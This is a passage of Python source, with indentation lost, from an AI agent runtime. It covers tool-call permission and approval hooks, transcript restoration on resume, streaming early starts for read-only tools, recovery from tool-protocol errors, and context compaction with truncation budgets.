hook_bus.register_failure_hook("failure_cascade", self._failure_cascade_hook)
for name, hook in self._pre_tool_hooks:
hook_bus.register_pre_hook(name, hook)
for name, hook in self._post_tool_hooks:
hook_bus.register_post_hook(name, hook)
for name, hook in self._failure_tool_hooks:
hook_bus.register_failure_hook(name, hook)
return hook_bus
async def _approval_pre_hook(
self,
context: RuntimeToolHookContext,
*,
permission_resolver: ToolPermissionResolver,
on_progress: Any = None,
) -> dict[str, Any] | None:
predicted = context.predicted_permission
if predicted is not None and context.tool is not None:
predicted = await permission_resolver.refine_decision(
predicted,
tool=context.tool,
arguments=context.arguments,
task=context.task,
)
context.predicted_permission = predicted
if predicted is not None and getattr(predicted, "resolution", None) == PermissionResolution.DENY:
return {
"result": permission_resolver.build_blocked_result(
predicted,
tool_name=context.tool_name,
arguments=context.arguments,
),
"stop_execution": True,
"stop_batch_on_failure": True,
}
violation = ownership_guard_violation(
task=context.task,
tool_name=context.tool_name,
arguments=context.arguments,
org_engine=None,
)
if violation:
return {
"result": {
"error": f"Tool execution blocked by ownership contract: {violation}",
"approval": {
"action": "reject",
"risk_level": "high",
"confidence": 0.99,
"policy_source": "ownership_contract",
"rationale": violation,
},
"success": False,
},
"stop_execution": True,
"stop_batch_on_failure": True,
}
if self.approval_callback is None or context.tool is None or getattr(context.tool, "runtime_managed", False):
return None
requires_prompt = (
predicted is not None
and getattr(predicted, "resolution", None) == PermissionResolution.ASK
) or bool(getattr(context.tool, "requires_confirmation", False))
if not requires_prompt:
return None
allowed, decision = await self.approval_callback(context.tool, context.arguments, context.task, on_progress)
approval_payload = {
"action": getattr(getattr(decision, "action", None), "value", ""),
"risk_level": getattr(getattr(decision, "risk_level", None), "value", ""),
"confidence": float(getattr(decision, "confidence", 0.0) or 0.0),
"policy_source": str(getattr(decision, "policy_source", "") or ""),
"rationale": str(getattr(decision, "rationale", "") or ""),
**dict(getattr(decision, "metadata", {}) or {}),
}
if not allowed:
permission_resolver.record_denial(context.tool_name, context.arguments)
return {
"approval": approval_payload,
"result": {
"error": f"Tool execution blocked by autonomy policy: {getattr(decision, 'rationale', '')}",
"approval": approval_payload,
"success": False,
},
"stop_execution": True,
"stop_batch_on_failure": True,
}
return {"approval": approval_payload}
async def _approval_post_hook(self, context: RuntimeToolHookContext) -> dict[str, Any] | None:
approval = dict(context.state.get("approval", {}) or {})
if not approval or not isinstance(context.result, dict):
return None
merged = dict(context.result)
current = dict(merged.get("approval", {}) or {})
current.update(approval)
merged["approval"] = current
return {"result": merged}
async def _command_exit_post_hook(self, context: RuntimeToolHookContext) -> dict[str, Any] | None:
if not isinstance(context.result, dict):
return None
payload = context.result.get("result", {})
if not isinstance(payload, dict):
return None
exit_code = payload.get("exit_code")
if exit_code in (None, 0):
return None
merged = dict(context.result)
merged["success"] = False
if not merged.get("error"):
stderr = str(payload.get("stderr", "") or "").strip()
merged["error"] = stderr or f"{context.tool_name} exited with code {exit_code}"
return {
"result": merged,
"stop_batch_on_failure": True,
}
async def _failure_cascade_hook(self, context: RuntimeToolHookContext) -> dict[str, Any] | None:
if not isinstance(context.result, dict):
return None
if bool(context.result.get("success", True)):
return None
return {
"stop_batch_on_failure": True,
"metadata": {"failure_source": context.tool_name},
}
async def _bootstrap_messages(
self,
*,
system_prompt: str,
user_content: Any,
user_message: str,
context_messages: list[dict[str, Any]] | None,
task: Task | None,
) -> tuple[list[dict[str, Any]], int]:
runtime_resume = self._runtime_resume_payload(task)
if runtime_resume and task and getattr(self.memory_manager, "store", None) and task.session_id:
restored = await self._restore_transcript_messages(task)
if restored:
sanitizer = getattr(self.llm, "sanitize_tool_call_history", None)
if callable(sanitizer):
restored = sanitizer(restored)
prefix_messages: list[dict[str, Any]] = [{"role": "system", "content": system_prompt}]
if context_messages:
prefix_messages.extend(context_messages)
messages = [*prefix_messages, *restored]
if self._should_append_resume_user_turn(restored, user_message):
messages.append({"role": "user", "content": user_content})
return messages, len(prefix_messages)
messages: list[dict[str, Any]] = [{"role": "system", "content": system_prompt}]
if context_messages:
messages.extend(context_messages)
messages.append({"role": "user", "content": user_content})
return messages, len(messages)
async def _restore_transcript_messages(self, task: Task) -> list[dict[str, Any]]:
store = getattr(self.memory_manager, "store", None)
if not store or not hasattr(store, "get_session_transcript") or not task.session_id:
return []
transcript = await store.get_session_transcript(task.session_id)
if not transcript:
return []
runtime_messages: list[dict[str, Any]] = []
seen_tool_call_ids: set[str] = set()
pending_tool_calls: list[dict[str, Any]] = []
for message_index, item in enumerate(transcript):
message = item["message"]
parts = item["parts"]
if getattr(message, "summary_flag", False):
continue
role = str(getattr(message, "role", "") or "")
if role == "user":
content = self._normalize_content_for_resume(parts)
if content:
runtime_messages.append({"role": "user", "content": content})
continue
if role == "assistant":
assistant_texts: list[str] = []
tool_calls: list[dict[str, Any]] = []
tool_results: list[dict[str, Any]] = []
for part_index, part in enumerate(parts):
payload = dict(part.payload or {})
if part.part_type == "text":
text = str(payload.get("text", "") or "").strip()
if text:
assistant_texts.append(text)
elif part.part_type == "tool_call":
tool_name = str(payload.get("tool_name", "") or "").strip()
tool_call_id = str(payload.get("tool_call_id", "") or "").strip()
if not tool_call_id:
tool_call_id = self._synthesize_resume_tool_call_id(
message_index=message_index,
part_index=part_index,
tool_name=tool_name,
)
tool_calls.append({
"id": tool_call_id,
"type": "function",
"function": {
"name": tool_name,
"arguments": json.dumps(payload.get("arguments", {}), ensure_ascii=False, default=str),
},
})
seen_tool_call_ids.add(tool_call_id)
pending_tool_calls.append({
"id": tool_call_id,
"tool_name": tool_name,
"consumed": False,
})
elif part.part_type in {"tool_output", "tool_result"}:
tool_results.append(payload)
if assistant_texts or tool_calls:
assistant_message: dict[str, Any] = {
"role": "assistant",
"content": "\n\n".join(assistant_texts).strip(),
}
if tool_calls:
assistant_message["tool_calls"] = tool_calls
runtime_messages.append(assistant_message)
for payload in tool_results:
output = payload.get("result", payload.get("output", ""))
tool_call_id = self._resolve_resume_tool_result_id(
payload,
seen_tool_call_ids=seen_tool_call_ids,
pending_tool_calls=pending_tool_calls,
)
rendered_output = json.dumps(output, ensure_ascii=False, default=str) if not isinstance(output, str) else output
if tool_call_id:
runtime_messages.append({
"role": "tool",
"tool_call_id": tool_call_id,
"content": rendered_output,
})
else:
downgraded = self._render_orphan_tool_result_for_resume(payload, rendered_output)
if downgraded:
runtime_messages.append({"role": "assistant", "content": downgraded})
continue
rendered = self._normalize_content_for_resume(parts)
if rendered:
runtime_messages.append({"role": "assistant", "content": rendered})
return self._dedupe_transcript_messages(runtime_messages)
def _synthesize_resume_tool_call_id(
self,
*,
message_index: int,
part_index: int,
tool_name: str,
) -> str:
normalized_name = "".join(
ch if ch.isalnum() else "_"
for ch in str(tool_name or "tool").strip().lower()
).strip("_") or "tool"
return f"resume_call_{message_index}_{part_index}_{normalized_name}"
def _resolve_resume_tool_result_id(
self,
payload: dict[str, Any],
*,
seen_tool_call_ids: set[str],
pending_tool_calls: list[dict[str, Any]],
) -> str:
explicit_id = str(payload.get("tool_call_id", "") or "").strip()
tool_name = str(payload.get("tool_name", "") or "").strip()
if explicit_id and explicit_id in seen_tool_call_ids:
for pending in pending_tool_calls:
if pending.get("id") == explicit_id and not pending.get("consumed"):
pending["consumed"] = True
break
return explicit_id
for pending in pending_tool_calls:
if pending.get("consumed"):
continue
if tool_name and str(pending.get("tool_name", "") or "").strip() != tool_name:
continue
pending["consumed"] = True
return str(pending.get("id", "") or "")
for pending in pending_tool_calls:
if pending.get("consumed"):
continue
pending["consumed"] = True
return str(pending.get("id", "") or "")
return ""
def _render_orphan_tool_result_for_resume(
self,
payload: dict[str, Any],
rendered_output: str,
) -> str:
content = str(rendered_output or "").strip()
if not content:
return ""
tool_name = str(payload.get("tool_name", "") or "tool").strip() or "tool"
return f"Tool result [{tool_name}]\n{content}"
def _sanitize_tool_message_sequence(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
sanitized: list[dict[str, Any]] = []
known_tool_calls: dict[str, str] = {}
for message in messages:
role = str(message.get("role", "") or "")
if role == "assistant":
sanitized_message = dict(message)
tool_calls = list(message.get("tool_calls", []) or [])
valid_tool_calls: list[dict[str, Any]] = []
for call in tool_calls:
call_id = str(call.get("id", "") or "").strip()
if not call_id:
continue
valid_tool_calls.append(call)
known_tool_calls[call_id] = self._tool_call_name(call)
if valid_tool_calls:
sanitized_message["tool_calls"] = valid_tool_calls
else:
sanitized_message.pop("tool_calls", None)
sanitized.append(sanitized_message)
continue
if role == "tool":
tool_call_id = str(message.get("tool_call_id", "") or "").strip()
if tool_call_id and tool_call_id in known_tool_calls:
sanitized.append(message)
continue
downgraded = self._render_orphan_runtime_tool_message(
message,
tool_name=known_tool_calls.get(tool_call_id, ""),
)
if downgraded:
sanitized.append({"role": "assistant", "content": downgraded})
continue
sanitized.append(message)
return sanitized
@staticmethod
def _tool_call_name(call: dict[str, Any]) -> str:
function = call.get("function", {})
if isinstance(function, dict):
return str(function.get("name", "") or "").strip()
return str(call.get("function", "") or "").strip()
def _render_orphan_runtime_tool_message(
self,
message: dict[str, Any],
*,
tool_name: str = "",
) -> str:
content = str(message.get("content", "") or "").strip()
if not content:
return ""
call_id = str(message.get("tool_call_id", "") or "").strip()
label = tool_name or (f"orphan call {call_id}" if call_id else "orphan tool result")
return f"Tool result [{label}]\n{content}"
@staticmethod
def _normalize_verification_contract_line(line: str) -> str:
return re.sub(r"^\s*(?:[-*+]\s+|\d+[.)]\s+)", "", str(line or "")).strip()
def _normalize_content_for_resume(self, parts: list[Any]) -> str:
snippets: list[str] = []
for part in parts:
payload = dict(part.payload or {})
if part.part_type == "text":
text = str(payload.get("text", "") or "").strip()
if text:
snippets.append(text)
elif part.part_type == "tool_output":
output = str(payload.get("output", "") or "").strip()
if output:
snippets.append(f"Tool output [{payload.get('tool_name', 'tool')}]\n{output}")
elif part.part_type == "subtask_result":
summary = str(payload.get("summary", "") or "").strip()
if summary:
snippets.append(summary)
return "\n\n".join(snippets).strip()
def _should_append_resume_user_turn(self, restored: list[dict[str, Any]], user_message: str) -> bool:
normalized = " ".join(str(user_message or "").split())
if not normalized:
return False
if not restored:
return True
latest = restored[-1]
if latest.get("role") != "user":
return True
latest_normalized = " ".join(str(latest.get("content", "") or "").split())
return latest_normalized != normalized
def _dedupe_transcript_messages(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
deduped: list[dict[str, Any]] = []
for message in messages:
fingerprint = hashlib.sha1(
json.dumps(message, ensure_ascii=False, sort_keys=True, default=str).encode("utf-8")
).hexdigest()
if deduped:
previous = deduped[-1]
previous_fp = hashlib.sha1(
json.dumps(previous, ensure_ascii=False, sort_keys=True, default=str).encode("utf-8")
).hexdigest()
if previous_fp == fingerprint:
continue
deduped.append(message)
return deduped
def _restore_task_ledger(self, task: Task | None) -> list[dict[str, Any]]:
if not task:
return []
runtime_resume = self._runtime_resume_payload(task)
ledger = runtime_resume.get("task_ledger")
if not isinstance(ledger, list):
ledger = dict(task.metadata.get("runtime_v2", {}) or {}).get("task_ledger", [])
return self._normalize_todos(ledger)
def _start_runtime_prefetch(
self,
task: Task | None,
messages: list[dict[str, Any]],
) -> _RuntimePrefetchHandle | None:
prefetch_cfg = self.config.system.native_runtime.prefetch
if not prefetch_cfg.enabled or task is None or self.prefetch_provider is None:
return None
query = self._build_prefetch_query(messages)
if not query:
return None
return _RuntimePrefetchHandle(
task=asyncio.create_task(self.prefetch_provider(task, query, list(messages))),
query=query,
)
async def _consume_ready_prefetch(
self,
handle: _RuntimePrefetchHandle | None,
*,
messages: list[dict[str, Any]],
base_prefix_len: int,
runtime_session_id: str,
task: Task | None,
) -> tuple[list[dict[str, Any]], int, list[str]]:
if handle is None or handle.consumed or not handle.task.done():
return messages, base_prefix_len, []
try:
payload = handle.task.result() or {}
except Exception as exc: # pragma: no cover - defensive
logger.debug(f"Runtime prefetch failed: {exc}")
handle.consumed = True
return messages, base_prefix_len, []
prefetch_parts: list[str] = []
hits: list[str] = []
labels = {
"session_memory": "Session Memory",
"focused_memory": "Focused Memory",
"project_memory_candidates": "Project Memory Candidates",
"skills_summary": "Skills Summary",
}
for key, value in payload.items():
text = str(value or "").strip()
if not text:
continue
prefetch_parts.append(f"## {labels.get(key, key.replace('_', ' ').title())}\n{text}")
hits.append(key)
handle.consumed = True
if not prefetch_parts:
return messages, base_prefix_len, []
content = "## Runtime Prefetch\n" + "\n\n".join(prefetch_parts)
prefetch_message = {"role": "system", "content": content}
insert_at = base_prefix_len - 1 if base_prefix_len > 1 else 1
updated_messages = [
*messages[:insert_at],
prefetch_message,
*messages[insert_at:],
]
await self._emit_runtime_event(
runtime_session_id,
task,
"prefetch_consumed",
{"query": handle.query[:500], "hits": hits},
)
return updated_messages, base_prefix_len + 1, hits
@staticmethod
def _cancel_prefetch(handle: _RuntimePrefetchHandle | None) -> None:
if handle is not None and not handle.task.done():
handle.task.cancel()
def _build_prefetch_query(self, messages: list[dict[str, Any]]) -> str:
parts: list[str] = []
for message in reversed(messages):
role = str(message.get("role", "") or "")
if role not in {"user", "assistant"}:
continue
content = str(message.get("content", "") or "").strip()
if not content:
continue
parts.append(content[:800])
if len(parts) >= 2:
break
return "\n\n".join(reversed(parts)).strip()
async def _maybe_start_streaming_tool_calls(
self,
*,
upto_index: int,
tool_call_chunks: dict[int, dict[str, Any]],
early_tool_runs: dict[int, dict[str, Any]],
executor: StreamingToolExecutor,
planner: ToolPlanner,
permission_resolver: ToolPermissionResolver,
task: Task | None,
on_progress: Any,
runtime_session_id: str,
) -> None:
config = self.config.system.native_runtime.streaming_tool_start
if not config.enabled:
return
for index in sorted(tool_call_chunks):
if index >= upto_index or index in early_tool_runs:
continue
call = self._finalize_tool_calls({index: tool_call_chunks[index]})[0]
if call.get("arguments_parse_error"):
continue
if not self._can_stream_start_tool_call(
planner=planner,
permission_resolver=permission_resolver,
call=call,
task=task,
):
continue
early_tool_runs[index] = {
"call": call,
"task": asyncio.create_task(executor.execute([call], task=task, on_progress=on_progress)),
}
await self._emit_runtime_event(
runtime_session_id,
task,
"streaming_tool_started",
{"tool_call_id": call.get("id", ""), "tool_name": call.get("function", "")},
)
def _can_stream_start_tool_call(
self,
*,
planner: ToolPlanner,
permission_resolver: ToolPermissionResolver,
call: dict[str, Any],
task: Task | None,
) -> bool:
config = self.config.system.native_runtime.streaming_tool_start
tool = self.tools.get(str(call.get("function", "") or ""))
if tool is None:
return False
if config.safe_read_only_only and not planner.is_concurrency_safe(tool):
return False
if config.safe_read_only_only and not planner.is_read_only(tool):
return False
if not config.safe_read_only_only and not planner.is_concurrency_safe(tool):
return False
if config.require_allow_prediction:
decision = permission_resolver.predicted_decision(tool, dict(call.get("arguments", {}) or {}), task=task)
if decision.resolution != PermissionResolution.ALLOW:
return False
return not bool(getattr(tool, "requires_confirmation", False))
async def _collect_execution_results(
self,
*,
tool_calls: list[dict[str, Any]],
early_tool_runs: dict[int, dict[str, Any]],
executor: StreamingToolExecutor,
task: Task | None,
on_progress: Any,
) -> list[dict[str, Any]]:
ordered_results: list[dict[str, Any]] = []
remaining_calls: list[dict[str, Any]] = []
by_id: dict[str, dict[str, Any]] = {}
for index, call in enumerate(tool_calls):
early = early_tool_runs.get(index)
if not early:
remaining_calls.append(call)
continue
early_call = dict(early.get("call", {}) or {})
if not self._same_tool_call_signature(call, early_call):
if not early["task"].done():
early["task"].cancel()
remaining_calls.append(call)
continue
result_items = await early["task"]
if result_items:
by_id[str(call.get("id", "") or "")] = result_items[0]
if remaining_calls:
for item in await executor.execute(remaining_calls, task=task, on_progress=on_progress):
by_id[str(item.get("tool_call", {}).get("id", "") or "")] = item
for call in tool_calls:
item = by_id.get(str(call.get("id", "") or ""))
if item is not None:
ordered_results.append(item)
return ordered_results
def _same_tool_call_signature(self, current: dict[str, Any], started: dict[str, Any]) -> bool:
if str(current.get("function", "") or "") != str(started.get("function", "") or ""):
return False
current_args = dict(current.get("arguments", {}) or {})
started_args = dict(started.get("arguments", {}) or {})
return json.dumps(current_args, ensure_ascii=False, sort_keys=True, default=str) == json.dumps(
started_args,
ensure_ascii=False,
sort_keys=True,
default=str,
)
def _finalize_tool_calls(self, chunks: dict[int, dict[str, Any]]) -> list[dict[str, Any]]:
finalized: list[dict[str, Any]] = []
for index in sorted(chunks.keys()):
item = chunks[index]
raw_arguments = "".join(item.get("arguments_chunks", []))
parsed_arguments: Any = {}
parse_error: str | None = None
if raw_arguments.strip():
try:
parsed_arguments = json.loads(raw_arguments)
except json.JSONDecodeError as exc:
parsed_arguments = raw_arguments
parse_error = f"Invalid tool arguments JSON for `{item.get('function', '')}`: {exc}"
# Valid JSON that is not an object (e.g. ``[...]`` or ``"x"``) must surface as a
# parse error too. Otherwise downstream code sees an empty ``arguments`` dict and
# a falsy ``arguments_parse_error``, executing the tool with no arguments (which
# can silently wipe state, e.g. todo_write receiving an empty list). Keep the more
# specific JSONDecodeError message when parsing itself failed.
if (
raw_arguments.strip()
and parse_error is None
and not isinstance(parsed_arguments, dict)
):
parse_error = (
f"Tool arguments for `{item.get('function', '')}` must be a JSON object; "
f"got {type(parsed_arguments).__name__}."
)
finalized.append({
"id": item.get("id") or f"tool_{index}",
"function": item.get("function") or "",
"arguments": parsed_arguments if isinstance(parsed_arguments, dict) else {},
"arguments_raw": raw_arguments,
"arguments_parse_error": parse_error,
})
return finalized
@staticmethod
async def _cancel_early_tool_runs(early_tool_runs: dict[int, dict[str, Any]]) -> None:
tasks: list[asyncio.Task[Any]] = []
for item in early_tool_runs.values():
task = item.get("task")
if isinstance(task, asyncio.Task) and not task.done():
task.cancel()
tasks.append(task)
if tasks:
await asyncio.gather(*tasks, return_exceptions=True)
def _tool_call_chunks_from_response(self, tool_calls: list[dict[str, Any]] | None) -> dict[int, dict[str, Any]]:
chunks: dict[int, dict[str, Any]] = {}
for index, call in enumerate(tool_calls or []):
raw_arguments = call.get("arguments_raw")
if raw_arguments is None:
arguments = call.get("arguments", {})
if isinstance(arguments, str):
raw_arguments = arguments
else:
raw_arguments = json.dumps(arguments, ensure_ascii=False, default=str)
chunks[index] = {
"id": str(call.get("id", "") or "").strip(),
"function": str(call.get("function", "") or "").strip(),
"arguments_chunks": [str(raw_arguments or "")],
}
return chunks
def _clean_tool_protocol_retry_messages(
self,
messages: list[dict[str, Any]],
*,
base_prefix_len: int,
strategy: str,
) -> list[dict[str, Any]]:
if strategy == "sanitize":
return self.llm.sanitize_tool_call_history(messages)
prefix = self.llm.sanitize_tool_call_history(messages[:base_prefix_len])
note = {
"role": "system",
"content": (
"Previous tool-call transcript was reset after a provider tool-calling protocol failure. "
"Continue from the current task state and regenerate any necessary tool calls cleanly."
),
}
return [*prefix, note]
async def _recover_tool_protocol_stream_error(
self,
*,
exc: Exception,
messages: list[dict[str, Any]],
tool_schemas: list[dict[str, Any]] | None,
base_prefix_len: int,
runtime_session_id: str,
task: Task | None,
iteration: int,
early_tool_runs: dict[int, dict[str, Any]],
) -> dict[str, Any] | None:
if not self.llm.is_tool_protocol_error(exc):
return None
await self._cancel_early_tool_runs(early_tool_runs)
last_error: Exception = exc
attempted_payloads: list[list[dict[str, Any]]] = []
for strategy in ("sanitize", "clean"):
retry_messages = self._clean_tool_protocol_retry_messages(
messages,
base_prefix_len=base_prefix_len,
strategy=strategy,
)
if attempted_payloads and retry_messages == attempted_payloads[-1]:
continue
attempted_payloads.append(retry_messages)
await self._emit_runtime_event(
runtime_session_id,
task,
"tool_protocol_retry",
{
"iteration": iteration + 1,
"strategy": strategy,
"message": str(last_error),
},
)
try:
response = await self.llm.chat(retry_messages, tools=tool_schemas if tool_schemas else None)
return {
"messages": retry_messages,
"assistant_text": str(response.get("content", "") or ""),
"tool_call_chunks": self._tool_call_chunks_from_response(response.get("tool_calls", [])),
"usage": dict(response.get("usage", {}) or {}),
"model": str(response.get("model", "") or ""),
"strategy": strategy,
}
except Exception as retry_exc:
last_error = retry_exc
if not self.llm.is_tool_protocol_error(retry_exc):
break
return None
def _truncate_to_last_clean_user_turn(
self,
messages: list[dict[str, Any]],
base_prefix_len: int,
) -> list[dict[str, Any]] | None:
"""Walk backwards to find the last role=user message and truncate there,
then sanitize to ensure no unpaired tool_call remains."""
for i in range(len(messages) - 1, base_prefix_len - 1, -1):
if messages[i].get("role") == "user":
candidate = messages[: i + 1]
return self.llm.sanitize_tool_call_history(candidate)
return None
async def _apply_context_pipeline(
self,
messages: list[dict[str, Any]],
*,
tool_schemas: list[dict[str, Any]] | None,
task: Task | None,
base_prefix_len: int,
runtime_session_id: str,
compaction_boundaries: list[dict[str, Any]],
todo_state: list[dict[str, Any]],
runtime_notes: dict[str, Any],
active_subagents: list[dict[str, Any]],
force_compact: bool = False,
) -> list[dict[str, Any]]:
bounded = self._apply_tool_result_budget(messages)
apply_soft_compaction = force_compact or self._should_apply_soft_compaction(bounded, tool_schemas)
microcompacted = self._apply_tool_aware_microcompact(bounded, base_prefix_len) if apply_soft_compaction else bounded
compacted = await self._apply_durable_compaction(
microcompacted,
tool_schemas=tool_schemas,
task=task,
force_compact=force_compact or self._should_apply_hard_compaction(microcompacted, tool_schemas),
)
if compacted != bounded:
boundary_record = {
"summary": "Runtime V2 context pipeline compacted persisted history.",
"message_count": len(compacted),
"pipeline": ["tool_result_budgeting", "tool_aware_microcompact", "durable_compaction", "session_memory_reinjection"],
}
compaction_boundaries.append(boundary_record)
store = getattr(self.memory_manager, "store", None)
if store and hasattr(store, "save_runtime_compaction_boundary"):
await store.save_runtime_compaction_boundary(
boundary_id=f"cb_{uuid.uuid4().hex}",
runtime_session_id=runtime_session_id,
task_id=task.id if task else None,
summary=boundary_record["summary"],
metadata={"message_count": len(compacted)},
)
await self._persist_compaction_boundary(task, boundary_record, runtime_session_id)
await self._emit_runtime_event(
runtime_session_id,
task,
"compaction_applied",
{"message_count": len(compacted)},
)
reinjected = await self._reinject_session_memory(compacted, task=task)
artifact_reinjected = self._reinject_runtime_artifacts(
reinjected,
task=task,
todo_state=todo_state,
runtime_notes=runtime_notes,
compaction_boundaries=compaction_boundaries,
active_subagents=active_subagents,
)
return self._sanitize_tool_message_sequence(self._dedupe_transcript_messages(artifact_reinjected))
def _apply_tool_result_budget(self, messages: list[dict[str, Any]]) -> list[dict[str, Any]]:
guard_budget = int(self.config.system.native_runtime.context_guard.tool_output_char_budget or 12_000)
runtime_budget = int(self.config.system.native_runtime.tool_result_budget_chars or 20_000)
budget = min(runtime_budget, guard_budget)
compacted: list[dict[str, Any]] = []
for message in messages:
if message.get("role") == "tool":
content = str(message.get("content", "") or "")
if len(content) > budget:
compacted.append({
**message,
"content": content[:budget] + "\n[tool result truncated by runtime_v2]",
})
continue
compacted.append(message)
return compacted
def _apply_tool_aware_microcompact(self, messages: list[dict[str, Any]], base_prefix_len: int) -> list[dict[str, Any]]:
config = self.config.system.native_runtime.tool_aware_microcompact
if not config.enabled:
return self._apply_microcompact(self._apply_history_snip(messages, base_prefix_len), base_prefix_len)
preserve_recent = max(4, int(config.preserve_recent_messages or 8))
if len(messages) <= base_prefix_len + preserve_recent:
return messages
preserved_tail_start = max(base_prefix_len, len(messages) - preserve_recent)
compacted: list[dict[str, Any]] = []
for index, message in enumerate(messages):
if index < base_prefix_len or index >= preserved_tail_start:
compacted.append(message)
continue
role = str(message.get("role", "") or "")
if role == "tool":
compacted.append({
**message,
"content": self._summarize_tool_message_content(
str(message.get("content", "") or ""),
budget=int(config.tool_result_char_budget or 4000),
preserve_failure_outputs=bool(config.preserve_failure_outputs),
),
})
continue
if role == "assistant":
compacted.append({
**message,
"content": self._truncate_text_block(
str(message.get("content", "") or ""),
budget=int(config.assistant_char_budget or 3000),
marker="[assistant context microcompacted]",
),
})
continue
if role == "system":
compacted.append({
**message,
"content": self._truncate_text_block(
str(message.get("content", "") or ""),
budget=int(config.assistant_char_budget or 3000),
marker="[system context microcompacted]",
),
})
continue
compacted.append(message)
return self._apply_history_snip(compacted, base_prefix_len)
def _summarize_tool_message_content(
self,
content: str,
*,
budget: int,
preserve_failure_outputs: bool,
) -> str:
if len(content) <= budget:
return content
try:
parsed = json.loads(content)
except Exception:
return self._truncate_text_block(content, budget=budget, marker="[tool result microcompacted]")
if not isinstance(parsed, dict):
return self._truncate_text_block(content, budget=budget, marker="[tool result microcompacted]")
is_failure = not bool(parsed.get("success", True)) or bool(parsed.get("error"))
if is_failure and preserve_failure_outputs:
return self._truncate_text_block(content, budget=max(budget, 6000), marker="[tool failure output truncated]")
result_payload = parsed.get("result", {})
preview_fields: dict[str, Any] = {
"success": parsed.get("success", True),
}
if parsed.get("error"):
preview_fields["error"] = str(parsed.get("error", ""))[:800]
if isinstance(result_payload, dict):
for key in ("rendered", "summary", "stdout", "stderr", "content", "todos", "task_ledger"):
value = result_payload.get(key)
if value in (None, "", [], {}):
continue
if isinstance(value, str):
preview_fields[key] = clip_text(
value,
limit=1200,
marker=f"{key} preview truncated",
).text
elif isinstance(value, list):
preview_fields[key] = value[:6]
elif isinstance(value, dict):
preview_fields[key] = {
inner_key: inner_value
for inner_key, inner_value in list(value.items())[:6]
}
else:
preview_fields[key] = value
rendered = json.dumps(preview_fields, ensure_ascii=False, default=str)
if len(rendered) <= budget:
return rendered + "\n[tool result microcompacted]"
return self._truncate_text_block(rendered, budget=budget, marker="[tool result microcompacted]")
@staticmethod
def _truncate_text_block(content: str, *, budget: int, marker: str) -> str:
marker_text = marker.strip("[]")
clip = clip_text(content, limit=budget, marker=marker_text)
exact_marker = f"[{marker_text}]"
detailed_marker = f"[{marker_text}:"
if clip.truncated and exact_marker not in clip.text and detailed_marker in clip.text:
return clip.text.replace(detailed_marker, f"{exact_marker}\n{detailed_marker}", 1)
return clip.text
def _apply_history_snip(self, messages: list[dict[str, Any]], base_prefix_len: int) -> list[dict[str, Any]]:
trigger = int(self.config.system.native_runtime.history_snip_trigger_messages or 40)
if len(messages) <= trigger or len(messages) <= base_prefix_len + 12:
return messages
preserved_tail = messages[-12:]
hidden = len(messages) - base_prefix_len - len(preserved_tail)
if hidden <= 0:
return messages
return [
*messages[:base_prefix_len],
{
"role": "system",
"content": f"[runtime_v2 snip] {hidden} earlier messages hidden after transcript persistence.",
},
*preserved_tail,
]
def _apply_microcompact(self, messages: list[dict[str, Any]], base_prefix_len: int) -> list[dict[str, Any]]:
limit = int(self.config.system.native_runtime.microcompact_chars or 8_000)
if not limit or len(messages) <= base_prefix_len + 8:
return messages
preserved_tail_start = max(base_prefix_len, len(messages) - 8)
compacted: list[dict[str, Any]] = []
for index, message in enumerate(messages):
if index < base_prefix_len or index >= preserved_tail_start:
compacted.append(message)
continue
content = str(message.get("content", "") or "")
if len(content) <= limit:
compacted.append(message)
continue
compacted.append({
**message,
"content": content[:limit] + "\n[runtime_v2 microcompact]",
})
return compacted
async def _apply_durable_compaction(
self,
messages: list[dict[str, Any]],
*,
tool_schemas: list[dict[str, Any]] | None,
task: Task | None,
force_compact: bool = False,
) -> list[dict[str, Any]]:
_ = tool_schemas
_ = task
_ = force_compact
return messages
async def _reinject_session_memory(
self,
messages: list[dict[str, Any]],
*,
task: Task | None,
) -> list[dict[str, Any]]:
if not task or not self.memory_manager or not task.session_id:
return messages
session_memory = await self.memory_manager.build_session_memory_context(task.session_id)
if not session_memory.strip():
return messages
memory_message = {"role": "system", "content": session_memory}
if len(messages) >= 2 and messages[1].get("role") == "system" and "## Session Memory" in str(messages[1].get("content", "")):
return [messages[0], memory_message, *messages[2:]]
return [messages[0], memory_message, *messages[1:]]
def _boot_artifact_manifest(self, task: Task | None) -> list[dict[str, Any]]:
if task is None:
return []
manifest = list(task.metadata.get("_prompt_harness_boot_artifacts", []) or [])
return [dict(item) for item in manifest if isinstance(item, dict) and str(item.get("type", "") or "").strip()]
def _boot_artifact_hashes(self, task: Task | None) -> dict[str, str]:
if task is None:
return {}
harness_meta = dict(task.metadata.get("prompt_harness", {}) or {})
hashes = dict(harness_meta.get("artifact_hashes", {}) or {})
return {str(key): str(value) for key, value in hashes.items() if str(key).strip() and str(value).strip()}
def _compact_artifact_text(self, content: str) -> str:
budget = max(800, int(self.config.system.native_runtime.artifact_compaction.artifact_char_budget or 12_000))
text = str(content or "").strip()
if len(text) <= budget:
return text
return text[: max(120, budget - 40)].rstrip() + "\n[runtime artifact truncated]"
def _task_ledger_artifact_record(self, todo_state: list[dict[str, Any]]) -> dict[str, Any] | None:
if not todo_state:
return None
lines = ["Current task ledger:"]
for item in todo_state[:12]:
status = str(item.get("status", "") or "pending").strip() or "pending"
content = str(item.get("content", "") or item.get("title", "") or "").strip()
active = str(item.get("active_form", "") or item.get("activeForm", "") or "").strip()
if not content:
continue
line = f"- [{status}] {content}"
if active and active != content:
line += f" | active: {active}"
lines.append(line)
return build_runtime_artifact_record(
"task_ledger",
"Task Ledger",
self._compact_artifact_text("\n".join(lines)),
metadata={"item_count": len(todo_state)},
)
def _plan_artifact_record(self, task: Task | None) -> dict[str, Any] | None:
if task is None:
return None
plan = task.metadata.get("work_item_runtime_plan")
if not plan:
return None
return build_runtime_artifact_record(
"plan_attachment",
"Plan",
self._compact_artifact_text(str(plan)),
metadata={"source": "work_item_runtime_plan"},
)
def _skills_artifact_record(self, task: Task | None) -> dict[str, Any] | None:
if task is None:
return None
manifest = self._boot_artifact_manifest(task)
for item in manifest:
if str(item.get("type", "") or "").strip() == "skills_delta":
return dict(item)
return None
def _tool_surface_artifact_record(self, task: Task | None) -> dict[str, Any] | None:
if task is None:
return None
manifest = self._boot_artifact_manifest(task)
for item in manifest:
if str(item.get("type", "") or "").strip() == "tool_surface_delta":
return dict(item)
return None
def _active_subagents_artifact_record(self, active_subagents: list[dict[str, Any]]) -> dict[str, Any] | None:
